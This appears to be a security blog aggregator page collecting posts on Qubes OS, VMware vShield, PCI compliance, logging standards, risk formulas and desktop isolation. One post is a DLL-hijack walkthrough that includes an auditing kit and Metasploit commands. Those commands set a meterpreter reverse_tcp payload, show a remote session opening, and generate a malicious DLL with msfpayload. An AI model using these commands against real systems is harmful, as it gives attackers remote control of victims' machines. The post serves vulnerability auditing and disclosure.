What I'm Reading

The work on Qubes OS has been extremely exciting and also very challenging for us. While most of the work we have been doing so far relates to solving various technical, under-the-hood challenges, the more important goals in the long-term are related more to mitigating the so called "human factor", i.e. making the system not only easy to use, but tolerant to user absentmindedness. This includes e.g. ensuring the user uses a correct AppVM (e.g. do the banking in the "banking" AppVM, and not in the "random web browsing" AppVM, and also not the other way around: don't do random surfing in the "banking" AppVM), and generally making the whole isolation between AppVMs as seamless as possible, but without sacrificing the security at the same time.

This is becoming very important, as the technical level of security in Qubes is already very high, and so the "human factor" might easily become a low hanging fruit for the attacker. (In contrast to other OSes)

But for Qubes to become something more than just an interesting OS for Linux geeks and security enthusiasts, it is also critical to have better application support. Right now Qubes lets users run Linux apps, because each AppVM is Linux-based. But, and let's not be afraid to admit this: Linux sucks when it comes to application support! (Take Open Office as an example - it not only looks like MS Office 97, but is also terribly user-unfriendly, especially their presentation program, the Impress. Why is it so difficult to make it look and behave more like Apple Keynote?)

There is only one way to provide better application support to Qubes: make it support Windows-based, or Mac-based, AppVMs. Just imagine that: being able to run most of your Windows (or Mac) applications, but at the same time benefit from the Qubes strong isolation and seamless integration on one common desktop...

In order to implement support for Windows-based AppVMs (or alternatively Mac-based AppVM) we would need to engage significant resources (5+ very skilled developers, working full time for 1+ year), and so we're currently looking for an investor that would be able to provide funding for such an endeavor. The idea is to create a dedicated spin-off company that would focus entirely on Qubes and Qubes Pro, and in the future will make a profit from selling Qubes Pro licenses. Qubes Pro will become a commercial product, still based on the open source Qubes, but adding support for Windows-based or Mac-based AppVMs. I would be happy to discuss the details and business plan via email with interested potential investors.

Speaking about the future of Qubes: next week I will speak at the European Trusted Infrastructure Summer School, where I will talk about some general stuff like why we need secure desktop systems and why trusted computing might be a way to go, but will also dive a little bit into some new things we plan for Qubes 2.0, such as storage domain and split I/O graphics model. The conference features some very reputable speakers in system-level security field, such as David Grawrock (the father of Intel TXT and TPM), and Loic Duflot (our venerable competitor in the filed of offensive system-level research), so I consider a honour to deliver an opening keynote there (Check the agenda here).

I will have my Qubes laptop with me, of course, so if anybody is interested to see Qubes OS live (including Disposable VMs!), I would be happy to do a quick demo on the spot.

After my initial post yesterday (How To Wield the New vShield (Edge, App & Endpoint) remarking on the general sessions I sat through on vShield, I thought I’d add some additional color given my hands-on experience in the labs today.

I will reserve more extensive technical analysis of vShield Edge and App (I didn’t get to play with endpoint as there is not a lab for that) once I spend some additional quality-time with the products as they emerge.

Because people always desire for me to pop out of the cake quickly, here you go:

You should walk away from this post understanding that I think the approach holds promise within the scope of what VMware is trying to deliver. I think it can and will offer customers choice and flexibility in their security architecture and I think it addresses some serious segmentation, security and compliance gaps. It is a dramatically impactful set of solutions that is disruptive to the security and networking ecosystem. It should drive some interesting change. The proof, as they say, will be in the vPudding.

Let me first say that from VMware’s perspective I think vShield “2.0″ (which logically represents many technologies and adjusted roadmaps both old and new) is clearly an important and integral part of both vSphere and vCloud Director’s future implementation strategies. It’s clear that VMware took a good, hard look at their security solution strategy and made some important and strategically-differentiated investments in this regard.

All things told, I think it’s a very good strategy for them and ultimately their customers. However, there will be some very interesting side-effects from these new features.

vShield Edge is as disruptive to the networking space (it provides L3+ networking, VPN, DHCP and NAT capabilities at the vDC edge) as it is to the security arena. When coupled with vShield App (and ultimately endpoint) you can expect VMware’s aggressive activity in retooling their offers here to cause further hastened organic development, investment, and consolidation via M&A in the security space as other vendors seek to play and complement the reabsorption of critical security capabilities back into the platform itself.

Now all of the goodness that this renewed security strategy brings also has some warts. I’ll get into some of them as I gain more hands-on experience and get some questions answered, but here’s the Cliff Note version with THREE really important points:

1. The vShield suite is the more refined/retooled/repaired approach toward what VMware promised in delivery three years ago when I wrote about it in 2007 (Opening VMM/HyperVisors to Third Parties via API’s – Goodness or the Apocalypse?) and later in 2008 (VMware’s VMsafe: The Good, the Bad, and the Bubbly…“) and from 2009, lest we forget The Cart Before the Virtual Horse: VMware’s vShield/Zones vs. VMsafe API’s…
   _
   Specifically, as the virtualization platform has matured, so has the Company’s realization that security is something they are going to have to take seriously and productize themselves as depending upon an ecosystem wasn’t working — mostly because doing so meant that the ecosystem had to uproot entire product roadmaps to deliver solutions and it was a game of “supply vs. demand chicken.”
   _
   However, much of this new capability isn’t fully baked yet, especially from the perspective of integration and usability and even feature set capabilities such as IPv6 support. Endpoint is basically the more streamlined application of APIs and libraries for anti-malware offloading so as to relieve a third party ISV from having to write fastpath drivers that sit in the kernel/VMM and disrupt their roadmaps. vShield App is the Zones solution polished to provide inter-VM firewalling capabilities.
   _
   Edge is really the new piece here and represents a new function to represent vDC perimeterized security capabilities.Many of these features are billed — quite openly — as relieving a customer from needing to use/deploy physical networking or security products. In fact, in some cases even virtual networking products such as the Cisco Nexus 1000v are not usable/supportable. This is and example of a reasonably closed, software-driven world of Cloud where the underlying infrastructure below the hypervisor doesn’t matter…until it does.
   _
2. vShield Edge and App are, in the way they are currently configured and managed, very complex and unwieldy and the performance, resiliency and scale described in some of the sessions is yet unproven and in some cases represents serious architectural deficiencies at first blush. There are some nasty single points of failure in the engineering (as described) and it’s unclear how many reference architectures for large enterprise and service provider scale Cloud use have really been thought through given some of these issues.
   _
   As an example, only being able to instantiate a single (but required) vShield App virtual appliance per ESX host brings into focus serious scale, security architecture and resilience issues. Being able to deploy numerous Edge appliances brings into focus manageability and policy sprawl concerns.There are so many knobs and levers leveraged across the stack that it’s going to be very difficult in large environments to reconcile policy spread over the three (I only interacted with two) components and that says nothing about then integrating/interoperating with third party vSwitches, physical switches, virtual and physical security appliances. If you think it was challenging before, you ain’t seen nothin’ yet.
   _
3. The current deployment methodology reignites the battle that started to rage when security teams lost visibility into the security and networking layers and the virtual administrators controlled the infrastructure from the pNIC up. This takes the gap-filler virtual security solutions from small third parties such as Altor which played nicely with vCenter but allowed the security teams to manage policy and blows that model up. Now, security enforcement is a commodity feature delivered via the virtualization platform but requires too complex a set of knowledge and expertise of the underlying virtualization platform to be rendered effective by role-driven security teams.

While I’ll cover items #1 and #2 in a follow-on post, here’s what VMware can do in the short term to remedy what I think is a huges issue going forward with item #3, usability and management.

Specifically, in the same way vCloud Director sits above vCenter and abstracts away much of the “unnecessary internals” to present a simplified service catalog of resources/services to a consumer, VMware needs to provide a dedicated security administrator’s “portal” or management plane which unites the creation, management and deployment of policy from a SECURITY perspective of the various disparate functions offered by vShield App, Edge and Endpoint. [ED: This looks as though this might be what vShield Manager will address. There were no labs covering this and no session I saw gave any details on this offering (UI or API)]

If you expect a security administrator to have the in-depth knowledge of how to administer the entire (complex) virtualization platform in order to manage security, this model will break and cause tremendous friction. A security administrator shouldn’t have access to vCenter directly or even the vCloud Director interfaces.

Since much of the capability for automation and configuration is made available via API, the notion of building a purposed security interface to do so shouldn’t be that big of a deal. Some people might say that VMware should focus on building API capabilities and allow the ecosystem to fill the void with solutions that take advantage of the interfaces. The problem is that this strategy has not produced solutions that have enjoyed traction today and it’s quite clear that VMware is interested in controlling their own destiny in terms of Edge and App while allowing the rest of the world to play with Endpoint.

I’m sure I’m missing things and that given the exposure I’ve had (without any in-depth briefings) there may be material issues associated with where the products are given their early status, but I think it important to get these thoughts out of my head so I can chart their accuracy and it gives me a good reference point to direct the product managers to when they want to scalp me for heresy.

There’s an enormous amount of detail that I want to/can get into. The last time I did that it ended up in a 150 slide presentation I delivered at Black Hat…

Allow me to reiterate what I said in the beginning:

You should walk away from this post understanding that I think the approach holds promised within the scope of what VMware is trying to deliver. I think it can and will offer customers choice and flexibility in their security architecture and I think it addresses some serious segmentation, security and compliance gaps. It is a dramatically impactful set of solutions that is disruptive to the security and networking ecosystem. It should drive some interesting change. The proof, as they say, will be in the vPudding.

…and we all love vPudding.

/Hoff

Related articles by Zemanta

• How To Wield the New vShield (Edge, App & Endpoint) (rationalsurvivability.com)
• VMWare launches six new vCloud products (zdnet.com)
• VMworld: New cloud security emphasis from VMware (v3.co.uk)
• VMware acquires Integrien, TriCipher for IT-as-a-Service Era (zdnet.com)
• Trend Micro Announces Trend Micro(TM) Deep Security 7.5: New Agentless Anti-Malware Module for VMware Environments Provides Unprecedented Security, Manageability and Performance for Dynamic Datacenters (newswire.ca)

A new (read: yet another) 0day QuickTime vulnerability has been discovered by researcher Ruben Santamarta which leads to arbitrary client-side code execution. The vulnerability, which affects QuickTime <= 7.6.7 on Windows XP, Vista and 7 and defeats DEP and ASLR, is due to a flaw in the way the QuickTime ActiveX controller handles a supplied parameter and treats it as a trusted pointer.

This vulnerability can be exploited by luring the victim to a malicious web page. A heap-spraying Metasploit module has already been published which exploits this issue.

Read Reuben’s original advisory and then get Firefox.

This is a new release branch of Wireshark and they have added many new features such as prelimina ...(more)...(author unknown)

An anonymous reader writes "The H Online writes: 'Microsoft has placed its process for secure software development under a Creative Commons License. The company hopes that this will lead to more developers utilising its process for programming software more securely across the entire product lifecycle ...'"

Read more of this story at Slashdot.

timothy

The future of logging is finally here! Common Event Expression (CEE) team releases CEE Architecture Overview [PDF] for public comments. HUGE thanks to MITRE side of team for finally clearing all the hurdles and releasing “our baby.”

The Common Event Expression (CEE™) Architecture Overview document defines the structure and components that comprise the CEE event log standard. This architecture was developed by MITRE, in collaboration with industry and government, and builds upon the Common Event Expression Whitepaper. This document defines the CEE Architecture for an open, practical, and industry-accepted event log standard. It provides a high-level overview of CEE along with details on the overall architecture and introduces each of the CEE components including the data dictionary, event taxonomies, syntax encodings, and profiles. The CEE Architecture is the first in a collection of documents and specifications, whose combination provides the necessary pieces to create the complete CEE event log standard. 

We encourage community members to offer feedback on this document on the CEE
Email Discussion list. You may also contact us directly at cee@mitre.org.

Again, the document is at: http://cee.mitre.org/docs/CEE_Architecture_Overview-v0.5.pdf

The day we were working towards for nearly five years (!) has finally come and more of CEE is revealed to the world! Of course, detailed specifications are still in development and we will release them when they are ready for public review.

Possibly related posts:

• All posts tagged CEE
• My first post on CEE in April 2007

About me: http://www.chuvakin.org

anton@chuvakin.org (Anton Chuvakin)

You’ll forgive my impertinence, but the last time I saw a similar claim of a PCI compliant Cloud offering, it turned out rather anti-climatically for RackSpace/Mosso, so I just want to make sure I understand what is really being said.  I may be mixing things up in asking my questions, so hopefully someone can shed some light.

This press release announces that:

“…Verizon’s On-Demand Cloud Computing Solution First to Achieve PCI Compliance” and the company’s cloud computing solution called Computing as a Service (CaaS) which is “…delivered from Verizon cloud centers in the U.S. and Europe, is the first cloud-based solution to successfully complete the Payment Card Industry Data Security Standard (PCI DSS) audit for storing, processing and transmitting credit card information.”

It’s unclear to me (at least) what’s considered in scope and what level/type of PCI certification we’re talking about here since it doesn’t appear that the underlying offering itself is merchant or transactional in nature, but rather Verizon is operating as a service provider that stores, processes, and transmits cardholder data on behalf of another entity.

Here’s what the article says about what Verizon undertook for DSS validation:

To become PCI DSS-validated, Verizon CaaS underwent a comprehensive third-party examination of its policies, procedures and technical systems, as well as an on-site assessment and systemwide vulnerability scan.

I’m interested in the underlying mechanicals of the CaaS offering.  Specifically, it would appear that the platform – compute, network, and storage — are virtualized.  What is unclear is if the [physical] resources allocated to a customer are dedicated or shared (multi-tenant,) regardless of virtualization.

According to this article in The Register (dated 2009,) the infrastructure is composed like this:

The CaaS offering from Verizon takes x64 server from Hewlett-Packard and slaps VMware’s ESX Server hypervisor and Red Hat Enterprise Linux instances atop it, allowing customers to set up and manage virtualized RHEL partitions and their applications. Based on the customer portal screen shots, the CaaS service also supports Microsoft’s Windows Server 2003 operating system.

Some details emerge from the Verizon website that describes the environment more:

Every virtual farm comes securely bundled with a virtual load balancer, a virtual firewall, and defined network space. Once the farm is designed, built, and named – all in a matter of minutes through the CaaS Customer Management Portal – you can then choose whether you want to manage the servers in-house or have us manage them for you.

If the customer chooses to manage the “servers…in-house (sic)” is the customer’s network, staff and practices now in-scope as part of Verizon’s CaaS validation? Where does the line start/stop?

I’m very interested in the virtual load balancer (Zeus ZXTM perhaps?) and the virtual firewall (vShield? Altor? Reflex? VMsafe-API enabled Virtual Appliance?)  What about other controls (preventitive or detective such as IDS, IPS, AV, etc.)

The reason for my interest is how, if these resources are indeed shared, they are partitioned/configured and kept isolated especially in light of the fact that:

Customers have the flexibility to connect to their CaaS environment through our global IP backbone or by leveraging the Verizon Private IP network (our Layer 3 MPLS VPN) for secure communication with mission critical and back office systems.

It’s clear that Verizon has no dominion over what’s contained in the VM’s atop the hypervisor, but what about the network to which these virtualized compute resources are connected?

So for me, all this all comes down to scope. I’m trying to figure out what is actually included in this certification, what components in the stack were audited and how.  It’s not clear I’m going to get answers, but I thought I’d ask any way.

Oh, by the way, transparency and auditability would be swell for an environment such as this. How about CloudAudit? We even have a PCI DSS CompliancePack

Question for my QSA peeps: Are service providers required to also adhere to sections like 6.6 (WAF/Binary analysis) of their offerings even if they are not acting as a merchant?

/Hoff

Related articles by Zemanta

• PCI DSS Compliance and IT Security: Harmony or Discord? (prweb.com)
• Brief PCI Council Interview in Regards to PCI DSS 2.0 (chuvakin.blogspot.com)
• Revisions to Credit Card Security Standard on the Way (pcworld.com)
• Data Encryption for PCI 101: Introduction (securosis.com)
• Why your QSA should not be your Security Partner (brandenwilliams.com)
• Ask HN: Are you PCI DSS compliant? (pcisecuritystandards.org)
• Can You Have a PCI Compliant Virtualized Web Site? (securecloudreview.com)

Shared by Chris
hdmoore has added the WebDAV DLL Hijack exploit to Metasploit. Hundreds of applications are potentially affected. hdmoore has added the WebDAV DLL Hijack exploit to Metasploit. Hundreds of applications are potentially affected.

Every now and then I will find a security practitioner presenting the following formula when discussing information security risk analysis (ISRA).

Risks = Threats x Vulnerabilities x Impact

In some versions of this formula, the word “Consequence” is sometimes substituted for “Impact,” but the concept appears to be the same.

I want to argue that this equation, when taken literally as a mathematical formula, is nonsense and should be discarded.

As I argued in my last post, risk analysis, including ISRA,  has its roots in decision theory, especially expected value (or utility) theory. The expected value or utility of an action may be thought of as a weighted average. It can be calculated by defining a set of mutually exclusive and jointly exhaustive possible outcomes from a particular course of action, and then multiplying the probability of each possible outcome by its utility. The formula is very clear and mathematically rigorous. In contrast, the “Risk = Threats x Vulnerabilities x Impacts” formula is unclear at best and possibly mathematically incoherent at worst.
 
First, while the concepts of “threats” and “vulnerabilities” are clearly relevant to determining the probability of a possible outcome of an event, they are not equivalent to the probability of a possible outcome of an event. For example, I understand what it means to say that the threat is “unauthorized access to a company information system” and the vulnerability is “an unpatched vulnerability in an Internet-facing web server.” It is far from clear, however, how to literally plug in those concepts into a mathematical formula.  What are the units of measurement for threats and vulnerabilities? What would it mean, mathematically, to plug a number in for the “Threats” variable? If I say that a threat is 0.8, what does that mean? What is the range of possible values for “Threats”? Likewise, what is the range of possible values for “Vulnerabilities”? 

Second, the “Risk = Threats x Vulnerabilities x Impact” formula may actually violate the axioms of probability theory and the canons of inductive logic. In order to be inductively correct, a formal analysis of a risky action needs to take into account ALL of the potential outcomes of an action. The “Risk = Threats x Vulnerabilities x Impact” formula fails to do this by focusing solely on security threats. Indeed, the way the formula is presented, it appears to focus solely on a single security threat. In contrast, the logically correct expected value approach takes into account all of the possible outcomes of an action. For example, if the relevant action is “delay in patching a vulnerability in an Internet-facing web server,” one possible outcome is that the vulnerability is not exploited. The utility of that outcome would then be measured by whatever savings or efficiencies may be achieved by not patching, such as the value of the employee time that would have been spent patching the machine but wasn’t, or the value of advertising revenue generated by the web server that would have been lost due to downtime (for a server reboot) or wasn’t.

One reply to my argument is that the formula is not literally intended to be used as a mathematical formula; rather, the formula is just an informal way of stating that security risk is a function of threats, vulnerabilities, and potential impact. Fair enough, but why use a bogus formula? (I do believe risk can be modeled mathematically, but not using the “Risk = Threats x Vulnerabilities x Impacts” formula.) As an alternative, why not use “Risk = Function(Threats, Vulnerabilities, Impacts)” or something similar?  I’m willing to bet that anyone who can understand the first formula can also understand the second.

© BlogInfoSec.com, 2010. | Permalink | 6 comments | Add to del.icio.us
Post tags: decision theory, expected utility, expected value, featured, Risk Analysis

Feed enhanced by Better Feed from Ozh

One of the most interesting challenges of working as Chief Information Security Officer in a utilit ...(more)...(author unknown)09674077382119598270

This post describes the process for identifying and exploiting applications vulnerable to the DLL hijack vulnerability disclosed last week. For background information on this vulnerability, as well as remediation information, please see my post on the Rapid7 Blog.

Update: The audit kit has been rewritten, please ignore the instructions in this post and read this post for information on the new kit.

This vulnerability is triggered when a vulnerable file type is opened from within a directory controlled by the attacker. This directory can be a USB drive, an extracted archive, or a remote network share. In most cases, the user will have to browse to the directory and then open the target file type for this exploit to work. The file opened by the user can be completely harmless, the flaw is that the application launched to handle the file type will inadvertently load a DLL from the working directory.

In practice, this flaw can be exploited by sending the target user a link to a network share containing a file they perceive as safe. iTunes, which was affected by this flaw until last week, is associated with a number of media file types, and each of these would result in a specific DLL being loaded from the same directory as the opened file. The user would be presented with a link in the form of \\server\movies\ and a number of media files would be present in this directory. If the user tries to open any of these files, iTunes would search the remote directory for one or more DLLs and then load these DLLs into the process. If the attacker supplied a malicious DLL containing malware or shellcode, its game over for the user.

Earlier this year, Taeho Kwon and Zhendong Su of the University of California, Davis, published a paper titled Automatic Detection of Vulnerable Dynamic Component Loadings. This paper describes the different variants of DLL hijacking and Table IV of this paper contains list of vulnerable applications. They identified the exact same issues I ran into when working on the Windows Shortcut exploit, and although they omitted network shares as a vector, they did cover both carpet bombing and archive files. Kwon and Su developed a test harness to detect the vulnerable applications through instrumentation, however the associated code is not public at this time.

To determine the extent of the problem, I developed a quick and dirty audit kit that leverages the Process Monitor utility and the Ruby interpreter. This kit will turn a desktop PC into a game of whack-a-mole by launching the file handlers for every registered file type, while recording whether or not a DLL was accessed within the working directory of the associated file. After the audit phase is complete, the generate.rb script can be used to create test cases that will validate each result. Clicking through the test cases will lead to the Calculator being launched when the result is exploitable and nothing when it is not.

To use this kit, first grab a copy from this URL. Extract this into a directory on the system that you want to test. Next, grab a copy of Process Monitor (procmon.exe) and copy the procmon.exe binary into the DLLHijackAuditKit directory. Launch the Process Monitor, accept the EULA, and close it out. Next, install the Ruby interpreter into the target system. Download Ruby 1.9.1-p430 and install it normally. Finally, from the Start menu, launch the "Start Command Prompt with Ruby" link. From this shell, change into the DLLHijackAuditKit directory.

At this point, run "audit.bat" and get ready to close about a thousand pop-up windows. Every 50 file types, the script will pause until you hit enter within the command shell window. This process takes about 10-15 minutes depending on the speed of your system and the dexterity of your mousing arm. After each pass, make sure you close all open Windows except for the command shell itself and the ProcMon process. After the script finishes with all registered file extensions, you will need to export a CSV log from ProcMon. To do this:

1. Access the "Save" item from the File menu in ProcMon

2. Make sure the "Events displayed using current filter" box is checked

3. Make sure the "Include profiling events" box is unchecked

4. Make sure you choose "Comma-Separated Values" as the format

5. Save the log file into into DLLTest\results.csv

Next, we will generate a directory of proof-of-concept files for validating the results. From the Ruby command-shell, change into the DLLTest subdirectory and run "ruby generate.rb"

Finally, open Windows Explorer to the DLLTest\exploits subdirectory. A file called "exploit.[ext]" will be created for every potentially exploitable file type. Verify that no applications are running in the background and click each file type, closing the application before the next test. If the application is vulnerable, a Calculator window will appear.

Once you have a list of affected file extensions, you can use the generic exploit module within the Metasploit Framework to exploit these.

Install the latest version of the Metasploit Framework and perform an Online Update (msfupdate on Linux) to get revision 10065 or newer. Start the Metasploit Console as root and run the following commands. On Windows, the module requires you to enable a firewall for ports 139 and 445, otherwise the target will attempt to connect via SMB instead of WebDAV.

$ msfconsole
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "ext1 ext2 ext3 ext4"
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 9999
msf exploit(webdav_dll_hijacker) > set LHOST (your IP address)
msf exploit(webdav_dll_hijacker) > exploit

[*] Started reverse handler on 192.168.0.226:4444
[*]
[*] Exploit links are now available at \\192.168.0.226\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.0.226:80/
[*] Server started.

Now that the exploit is running, send the vulnerable client to the network share listed. Once the user double-clicks a file from within this share, you should see a session appear in the Metasploit console:

[*] 192.168.0.184:1153 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1153 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1153 PROPFIND => 207 Top-Level Directory
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS
[*] 192.168.0.184:1151 PROPFIND => 301 (/DOCUMENTS)
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1151 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1151 PROPFIND => 207 Top-Level Directory
[*] Meterpreter session 1 opened (192.168.0.226:4444 -> 192.168.0.184:1154)...

msf exploit(webdav_dll_hijacker) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WINXP\Developer

If you are trying to determine whether an application is exploitable or need to examine the DLL loading process in minute detail, use WinDbg with gflags to enable Loader Snapshots. After installing WinDbg, change to the installation directory from within a command shell and run "gflags /i NameOfTarget.exe +sls"

After the flags have been set, use WinDbg to launch the application, specifying the working directory and the file to actually open. The output within WinDbg will make it clear whether or not a particular DLL is being loaded and if so, whether the initialization function is actually being called. This is a great way to be absolutely sure that a particular application is or is not vulnerable. When you are finished, disable Loader Snapshots with "gflags /i NameOfTarget.exe -sls"

In addition to the standard DLL load, there are some interesting corner cases found by the audit kit, although they require manual review to identify.

1) If the application is trying to load a DLL that is normally found within the PATH, but not the Windows system directories, and the PATH contains environment variables that have not been set, then the literal value of the environment variable will be treated as sub-directory of the working directory (the share). For example, if %unknownvariable%\bin is in the system PATH, the share will be searched for a directory called “%unknownvariable%\bin” and the target DLL will be loaded from within this sub-directory.

2. If the application tries to load a DLL whose name consists of a NULL, it will search for a file named ".DLL". This is exploitable in most cases and affects at least one Microsoft product.

3. Some applications will actually load and run executables from the working directory. The audit kit generates test cases for these as well using a binary that launches the calculator.

4. Applications using certain windowing and plugin libraries will validate that the DLL in question has a certain exported symbol before loading it. This will become obvious when you see the "missing symbol" error message after opening the generated test case. These are almost always exploitable.

5. If the application loads a configuration file (INI or otherwise) from the working directory, this can also be exploitable. A few instances of this have already been uncovered, in one case where the DLL that loads the INI file is injected into unrelated applications, making them vulnerable as well.

6. Some applications will require the DLL to be signed. These applications only validate that the signature was authorized by a trusted code signing root and a $200 code signing key is all you need to exploit these.

7. In at least one instance, a .NET DLL is loaded with full privileges. A normal native DLL will be rejected, but a crafted .NET DLL can be used to exploit these types of applications.

One final note, the msfpayload utility in the Metasploit Framework can now be used to generate DLL payloads. A quick example of this is below:

msfpayload windows/exec CMD=calc.exe D > test.dll

Amazon.com just published my five star review of IT Security Metrics by Lance Hayden. From the review:

I was not sure what to expect as I started reading IT Security Metrics (ISM). I had just discarded another new book, published in July 2010, supposedly about security metrics but really about nothing useful to anyone anchored in the operational IT world. Would ISM be another disappointment? Since Andrew Jaquith published Security Metrics in 2007, no other book had appeared to help security professionals measure their worlds. Thankfully, I can strongly recommend Lance Hayden's ISM as a very strong contributor to the discussion on security metrics. ISM's subtitle, "A Practical Framework for Measuring Security & Protecting Data," really does explain the purpose and value of this great new book.

TweetCopyright 2003-2010 Richard Bejtlich and TaoSecurity (taosecurity.blogspot.com and www.taosecurity.com)

Mike Dahn pinged me via Twitter with an interesting and challenging question:

I took this as a challenge in 5 minutes or less to articulate this in succinct, bulleted form.  I timed it. 4 minutes & 48 seconds. Loaded with snark and Hoffacino-fueled dogma.

Here goes:

1. Get an Amazon Web Services [or Rackspace or Terremark vCloud Express, etc.] account, instantiate a couple of instances as though you were deploying a web-based application with sensitive information that requires resilience, security, survivability and monitoring. If you have never done this and you’re in security spouting off about the insecurities of Cloud, STFU and don’t proceed to step 2 until you do.  These offerings put much of the burden on you to understand what needs to be done to secure Cloud-based services (OS, Apps, Data) which is why I focus on it. It’s also accessible and available to everyone.
   -
2. Take some time to be able to intelligently understand that as abstracted as much of Cloud is in terms of  the lack of exposed operational moving parts, you still need to grok architecture holistically in order to be able to secure it — and the things that matter most within it.  Building survivable systems, deploying securable (and as secure as you can make it) code, focusing on protecting information and ensuring you understand system design and The Three R’s (Resistance, Recognition, Recovery) is pretty darned important.  That means you have to understand how the Cloud provider actually works so when they don’t you’ll already have planned around that…
   -
3. Employ a well-developed risk assessment/management framework and perform threat modeling. See OCTAVE, STRIDE/DREAD, FAIR.  Understanding whether an application or datum is OK to move to “the Cloud” isn’t nuanced. It’s a simple application of basic, straightforward and prudent risk management. If you’re not doing that now, Cloud is the least of your problems. As I’ve said in the past “if your security sucks now, you’ll be pleasantly surprised by the lack of change when you move to Cloud.”
   -
4. Proceed to the Cloud Security Alliance website and download the guidance. Read it. Join one or more of the working groups and participate to make Cloud Security better in any way you believe you have the capacity to do so.  If you just crow about how “more secure” the Cloud is or how “horribly insecure by definition” it is, it’s clear you’ve not done steps 1-3. Skip 1-3, go to #5 and then return to #1.
   -
5. Use common sense.  There ain’t no patch for stupid.  Most of us inherently understand that this is a marathon and not a sprint. If you take steps 1-4 seriously you’re going to be able to logically have discussions and make decisions about what deployment models and providers suit your needs. Not everything will move to the Cloud (public, private or otherwise) but a lot of it can and should. Being able to layout a reasonable timeline is what moves the needle. Being an idealog on either side of the tarpit does nobody any good.  Arguing is for Twitter, doing is for people who matter.

Cloud is only rocket science if you’re NASA and using the Cloud for rocket science.  Else, for the rest of us, it’s an awesome platform upon which we leverage various opportunities to improve the way in which we think about and implement the practices and technology needed to secure the things that matter most to us.

/Hoff

(Yeah, I know. Not particularly novel or complex, right? Nope. That’s the point. Just like  ”How to Kick Ass in Information Security — Hoff’s Spritually-Enlightened Top Ten Guide to Health, Wealth and Happiness“)

Related articles by Zemanta

• Talking with George Reese about Cloud Security, CloudAudit, and enStratus (cloudofdata.com)
• The Security Hamster Sine Wave Of Pain: Public Cloud & The Return To Host-Based Protection… (rationalsurvivability.com)
• If You Could Have One Resource For Cloud Security… (rationalsurvivability.com)
• What You Can Do About Cloud Computing Security (deurainfosec.com)
• Hoff says SaaS Vendors Should Eat Their Own Dog Food. Is Security SaaS an Exception? (securecloudreview.com)
• The Classical DMZ Design Pattern: How To Kill Security In the Cloud (rationalsurvivability.com)
• Risk is not a Synonym for “Lack of Security” (devcentral.f5.com)
• CloudAudit Effort Gaining Momentum (securecloudreview.com)
• CLOUDINOMICON: Idempotent Infrastructure, Survivable Systems & Bringing Sexy Back to Information Centricity (rationalsurvivability.com)
• Incomplete Thought: The DevOps Disconnect (rationalsurvivability.com)
• Friday Cloud Poetry: “On the Bullshit That is False Cloud” (rationalsurvivability.com)

• Incomplete Thought: The DevOps Disconnect (rationalsurvivability.com)
• Friday Cloud Poetry: “On the Bullshit That is False Cloud” (rationalsurvivability.com)

100,000 log messages / second x 300 bytes / log message ~ 28.6 MB
      x 3600 seconds  ~ 100.6 GB / hour
            x 24 hours ~ 2.35 TB / day
                  x 365 days ~ 860.5 TB / year
                        x 3 years ~ 2.52 PB

Oops! Now you know what is a petabyte.
And, BTW, you also now what is a trillion – of log messages.About me: http://www.chuvakin.org anton@chuvakin.org (Anton Chuvakin)

Back in the '80s, there was an operating system called MS-DOS. This ancient OS, some readers might not even remember it today, had a very simple security model: every application had access to all the user files and other applications.

Today, over two decades later, overwhelming majority of people still use the very same security model... Why? Because on any modern, mainstream OS, be that Linux, Mac, or Windows, all the user applications still have full access to all the user's files, and can manipulate all the other user's applications.

Does it mean we haven't progressed anywhere from the MS-DOS age? Not quite. Modern OSes do have various anti-exploitation mechanisms, such as ASLR, NX, guard pages (well, Linux has it since last week at least), and even some more.

But in my opinion there has been too much focus on anti-exploitation, and on bug finding, (and on patching, of course), while almost nothing has been done on the OS architecture level.

Does anybody know why Linux Desktops offer ability to create different user accounts? What a stupid question, I hear you saying - different accounts allow to run some applications isolated from user's other applications! Really? No! The X server, by design, allows any GUI application to mess with all the other GUI applications being displayed by the same X server (on the same desktop). So, what good it is to have a "random_web_browsing" user, if the Firefox run under this user account would still be able to sniff or inject keystrokes to all my other GUI applications, take screenshots of them, etc...?

[Yes, I know, the user accounts allows also to theoretically share a single desktop computer among more than one physical users (also known as: people), but, come on, these days it's that a single person has many computers, and not the other way around.]

One might argue that the progress in the anti-exploitation, and also safe languages, would make it nearly impossible to e.g. exploit a Web browser in the next few years, so there would be no need to have a "random_web_browsing" user in the first place. But, we need isolation not only to protect ourselves when somebody exploits one of our application (e.g. a Web Browser, or a PDF viewer), but also, and perhaps most importantly, to protect from maliciously written applications.

Take summer holiday example: imagine you're a scuba diver - now, being also a decently geeky person, no doubt you will want to have some dive log manager application to store the history of your dives on a computer. There are a dozen of such applications on the web, so all you need to do is to pick one (you know, the one with the nicest screenshots), and... well you need to install it on your laptop now. But, hey, why this little, made by nobody-knows-who, dive application should be given unlimited access to all your personal files, work email, bank account, and god-know-what-else-you-keep-on-your-laptop? Anti-exploitation technology would do exactly nothing to prevent your files in this case.

Aha, it would be so nice if we could just create a user "diving", and run the app under this account. In the future, you could throw in some advanced deco planning application into the same account, still separated from all the other applications.

But, sorry, that would not work, because the X server doesn't provide isolation on the GUI-level. So, again, why should anybody bother creating any additional user accounts on a Linux Desktop?

Windows Vista made a little step forward in this area by introducing integrity levels, that, at least theoretically, were supposed to prevent GUI applications from messing with each other. But they didn't scale well (IIRC there were just 3 or 4 integrity levels available), and it still isn't really clear if Microsoft treats them seriously.

So, why do we have user accounts on Linux Desktops and Macs is beyond me (I guess Mac's X server doesn't implement any GUI-level isolation either - if I'm wrong, please point me out to the appropriate reference)?

